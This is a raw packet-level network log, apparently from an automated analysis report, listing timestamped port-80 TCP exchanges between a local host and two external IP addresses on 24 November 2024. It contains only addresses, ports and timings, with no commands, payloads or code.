Nov 24, 2024 12:24:29.925283909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.925328016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.925399065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.925445080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.926386118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.926439047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.926518917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.926563978 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.927506924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.927551031 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.927624941 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.927674055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.928632021 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.928677082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.928766966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.928813934 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.929717064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.929759026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.929848909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.929891109 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.930820942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.930866957 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.930938005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.930982113 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.931910992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.931956053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.932041883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.932085991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.933028936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.933082104 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.933125019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.933168888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.934123993 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.934171915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.934215069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.934257984 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.935236931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.935282946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.935336113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.935405970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.936357021 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.936408997 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.936413050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.936456919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.937470913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.937515020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.937587023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.937630892 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.938620090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.938668013 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.938707113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.938749075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.939652920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.939698935 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.939783096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.939827919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.940774918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.940821886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.940887928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.940932035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.941875935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.941921949 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.941966057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.942009926 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.942975044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.943022013 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.943068981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.943108082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.944077969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.944119930 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.944169044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.944215059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.945185900 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.945271969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.945316076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.945363998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.946289062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.946347952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.946412086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.946460962 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.947465897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.947524071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.947712898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.947767019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.948539972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.948590040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.948734045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.948784113 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.949620962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.949671030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.949807882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.949851036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.950732946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.950778961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.950823069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.950869083 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.951809883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.951855898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.961044073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.961131096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.961206913 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.961252928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.961420059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.961466074 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.962116957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.962203026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.962246895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.962937117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.963042021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.963082075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.967392921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.967556000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.967606068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.967845917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.967993021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.968044996 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.968621969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.968751907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.968817949 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.969536066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.969598055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.969644070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.970288038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.970412016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.970459938 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.971097946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.971232891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.971322060 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.971935034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.972074032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.972120047 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.972764015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.972891092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.972939014 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.973620892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.973716021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.973767042 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.974445105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.974553108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.974598885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.975286961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.975436926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.975490093 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.976125002 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.976227045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.976274967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.976955891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.977046013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.977087021 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.977775097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.977850914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.977902889 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.978600979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.978626013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.978669882 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.979438066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.979540110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.979584932 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.980299950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.980324030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.980370045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.981154919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.981303930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.981373072 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.981961966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.982076883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.982120991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.982943058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.983035088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.983078003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.983953953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.984049082 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.984091043 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.985025883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.985101938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.985141993 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.985541105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.985722065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.985763073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.986288071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.986315966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.986357927 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.987226009 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.987327099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.987368107 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.987778902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.987920046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.987986088 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.988615036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.988719940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.988765001 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.989448071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.989650011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.989696980 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.990299940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.990423918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.990469933 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.991142035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.991234064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.991278887 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.991954088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.992059946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.992105007 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.992983103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.993119001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.993165016 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.994112015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.994194984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.994240046 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.994816065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.994882107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.994925976 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.995374918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.995471001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.995518923 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.996153116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.996236086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.996279955 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.996946096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.997039080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.997082949 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.997772932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.997909069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.997957945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.998621941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.998718977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.998760939 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.999439955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.999541044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.999594927 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.000283003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.000327110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.000375032 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.001111031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.001214027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.001259089 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.001959085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.002077103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.002119064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.002748013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.053425074 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.081334114 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.081520081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.081557989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.081595898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.081753016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.081799984 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.082351923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.082464933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.082511902 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.083208084 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.083276033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.083327055 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.084043026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.084126949 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.084171057 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.084947109 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.085097075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.085160017 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.085690022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.085802078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.085860014 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.085927010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.085971117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.086003065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.086045980 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.086231947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.086280107 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.086376905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.086414099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.086450100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.087368011 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.087421894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.087503910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.087543011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.088460922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.088509083 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.088578939 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.088620901 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.089544058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.089591026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.089668036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.089713097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.090673923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.090719938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.090785980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.090828896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.091753006 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.091800928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.091819048 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.091831923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.092884064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.092931032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.092978001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.093015909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.094014883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.094043016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.094059944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.094079971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.095087051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.095134974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.095179081 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.095221043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.096195936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.096240044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.096302986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.096344948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.097320080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.097366095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.097430944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.097476959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.098407030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.098457098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.098495960 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.098541021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.099540949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.099587917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.099615097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.099659920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.100615025 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.100660086 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.100671053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.100718021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.101718903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.101764917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.101819038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.101886988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.102832079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.102880001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.102977991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.103019953 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.103926897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.103985071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.104062080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.104106903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.105031967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.105057955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.105079889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.105098009 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.106127977 CET	80	49793	31.41.244.11	192.168.2.4
